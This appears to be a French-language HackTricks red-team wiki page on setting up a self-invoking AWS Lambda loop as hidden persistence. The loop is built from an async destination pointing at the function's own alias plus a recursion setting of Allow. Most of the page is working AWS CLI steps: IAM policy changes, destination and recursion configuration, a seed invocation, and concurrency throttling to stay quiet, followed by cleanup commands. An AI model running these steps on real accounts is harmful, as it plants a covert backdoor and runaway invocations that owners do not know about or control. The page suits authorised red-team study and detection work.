AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu’une fonction se rĂ©-invoque continuellement sans ordonnanceur externe (pas d’EventBridge, cron, etc.). Par dĂ©faut, Lambda termine les boucles rĂ©cursives, mais dĂ©finir la config Recursion sur Allow les rĂ©active. Les Destinations livrent cĂŽtĂ© service pour les invocations async, donc une seule invocation initiale crĂ©e un canal furtif de heartbeat/backdoor sans code. Optionnellement, limitez avec reserved concurrency pour maintenir le bruit faible.

Remarques

  • Lambda n’autorise pas la configuration de la fonction pour qu’elle soit directement sa propre destination. Utilisez un function alias comme destination et autorisez l’execution role Ă  invoke cet alias.
  • Permissions minimales : capacitĂ© Ă  lire/mettre Ă  jour l’event invoke config et la recursion config de la fonction cible, publier une version et gĂ©rer un alias, et mettre Ă  jour la execution role policy de la fonction pour autoriser lambda:InvokeFunction sur l’alias.

Exigences

  • RĂ©gion: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Étapes

  1. Obtenir l’ARN de la fonction et le paramùtre Recursion actuel
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Publier une version et crĂ©er/mettre Ă  jour un alias (utilisĂ© comme destination vers soi‑mĂȘme)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Autoriser le rĂŽle d’exĂ©cution de la fonction Ă  invoquer l’alias (requis par Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. Configurer la destination asynchrone vers l’alias (self via alias) et dĂ©sactiver les rĂ©essais
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Autoriser les boucles récursives
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Amorcer une seule invocation asynchrone
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Observer des invocations continues (exemples)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. Limitation discrĂšte optionnelle
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Nettoyage

Interrompre la loop et supprimer la persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Impact

  • Un seul async invoke provoque que Lambda se rĂ©-invoke continuellement sans ordonnanceur externe, permettant une persistence/heartbeat furtive. Reserved concurrency peut limiter le bruit Ă  une seule warm execution.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks